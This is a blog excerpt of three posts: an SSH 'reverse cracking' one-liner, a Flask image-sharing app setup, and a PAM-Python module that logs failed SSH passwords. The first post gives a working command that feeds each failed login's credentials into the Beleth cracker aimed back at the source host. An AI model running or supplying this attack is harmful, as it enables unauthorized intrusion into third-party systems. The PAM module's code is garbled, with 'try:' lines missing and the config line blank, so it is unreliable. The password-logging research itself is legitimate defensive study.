Monday, January 27, 2014

Reverse SSH Cracking with Beleth and PAM


Attempting to gain unauthorized access to remote computers is illegal, and I am not responsible for any use of this proof of concept in a live environment.


This is an incredibly rude one liner that attempts to crack remote SSH passwords when an incoming login attempt fails.


In order for this little trick to work, you'll need to setup a PAM module that I wrote about in a previous post. I recently pushed an update to Beleth that allows passing a single password via the command line interface, so you'll need to grab a fresh copy from the github.

The one liner

tail -f /var/log/auth.log | stdbuf -o0 sed s/[:\(\)]/\ /g|awk '{if ($13 ~ /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) {print "beleth -t "$13" -u "$14" -P "$15}}'

This parses through the authorization log and is continuously updated with failed login attempts. It uses sed/awk to grab the remote host, attempted user, and password combination. Beleth then uses the information to attempt the same login credentials on the remote host. stdbuf ensures that the streams are being properly flushed so that it works in real time.

Thursday, January 16, 2014

Flaskgur: Simple Imgur clone with Flask and Python


As part of a previous post I wrote about using PyTinyDNS to dynamically assign DNS subdomains with updated IP addresses every time a user connects. Another service that we were missing was a simple image sharing site for use exclusively on the VPN. I've been intending to play with Flask for a while now this seemed like a good excuse to dive in.

Enter Flask

Flask is a microframework for Python based on Werkzeug and Jinja2. This combination of tools allows rapid development of web applications through Jinja's modern extensible template language and Werkzeug's URL routing modules.

Setup Flaskgur

If this is your first time playing with flask, go ahead grab virtualenv. Flask will be installed later.

$ sudo pip install virtualenv

Now grab a copy of Flaskgur and setup the new virtual environment.

$ git clone
$ cd flaskgur
$ virtualenv venv
$ . venv/bin/activate
$ pip install Flask

Flaskgur relies on a small sqlite database with an id field and filename field. The git repository comes with a copy of the database schema.

$ sqlite3 flaskgur.db < schema.sql

Now edit and point the base directory to your desired location and start Flaskgur.

$ python 
 * Running on
 * Restarting with reloader

Flaskgur Layout

The directories are broken down into the following list.

  • pics - Where the uploaded pictures are saved
  • static - Static formatting files (css) and custom 404 image
  • templates - Jinja2 formatted template files

For simplicity, the custom 404 page doubles as error page for bad file types. base.html is the base template, and data is filled in respectively by upload.html and 404.html thanks to Jinja. I included a simple macro in upload.html as well for a basic example.

Going Beyond

This is not a complete product by any means, and I do not profess to be a CSS guru. If you'd like to clean up some of the formatting, pull requests are always welcome. The database could easily be upgraded to include a description of photos or incorporate a ranking system. If you're interested in extending this project, head on over to github and add whatever you feel is necessary.

Wednesday, January 8, 2014

More fun with PAM-Python -- Logging Failed SSH Passwords


Following up from my last post about a two-factor SSH authentication python module, I thought I'd add one more module that has yielded some interesting results as well. If you watch your authorization log closely you'll undoubtedly notice multiple failed login attempts per day primarily for root/privileged users. These scans are largely automated by using lists of popular passwords and SSH cracking programs such as Beleth. Typical authorization logs from SSHd look similar to the entry below.

Jan  1 18:10:51 lan sshd[19972]: Failed password for root from port 33302 ssh2

I thought it would be interesting to see not only which users were commonly targets of attack, but also the wordlists being actively used by these bots. The module below will log a copy of the attempted username and password for all failed login attempts. I've also included a copy of all failed attempts logged after running this module for a week. The log entry below is how auth.log will look while using the module.

Jan  1 19:58:39 lan sshd: SSH Attack Logged: Remote Host: (root:password1)

The Source

import crypt, spwd, syslog

def auth_log(msg):
 """Send errors to default auth log"""
 syslog.syslog("SSH Attack Logged: " + msg)

def check_pw(user, password):
 """Check the password matches local unix password on file"""
 hashed_pw = spwd.getspnam(user)[1]
 return crypt.crypt(password, hashed_pw) == hashed_pw

def pam_sm_authenticate(pamh, flags, argv):
  user = pamh.get_user()
 except pamh.exception, e:
  return e.pam_result
 if not user:
  return pamh.PAM_USER_UNKNOWN
  resp = pamh.conversation(pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, 'Password:'))
 except pamh.exception, e:
  return e.pam_result
 if not check_pw(user, resp.resp):
  auth_log("Remote Host: %s (%s:%s)" % (pamh.rhost, user, resp.resp))
  return pamh.PAM_AUTH_ERR
 return pamh.PAM_SUCCESS

def pam_sm_setcred(pamh, flags, argv):
 return pamh.PAM_SUCCESS

def pam_sm_acct_mgmt(pamh, flags, argv):
 return pamh.PAM_SUCCESS

def pam_sm_open_session(pamh, flags, argv):
 return pamh.PAM_SUCCESS

def pam_sm_close_session(pamh, flags, argv):
 return pamh.PAM_SUCCESS

def pam_sm_chauthtok(pamh, flags, argv):
 return pamh.PAM_SUCCESS


Configuration is similar to the STAMP 2-factor authentication module. Instead of adding an additional authentication requirement, we're simply going to replace the standard password entry in /etc/pam.d/sshd with our new module. Save a copy of the source code to /lib/security/ Now, open up /etc/pam.d/sshd and insert the line below.

#@include common-auth
auth       requisite


You can run similar experiments by using any number of widely available honeypot projects. Kippo is an SSH based honeypot that includes not only password logging, but also places attackers in a sandboxed shell that logs all of their commands. If you don't want to deal directly with the kippo software, it's included as part of Honeydrive, a full featured VM honeypot.

Collected wordlist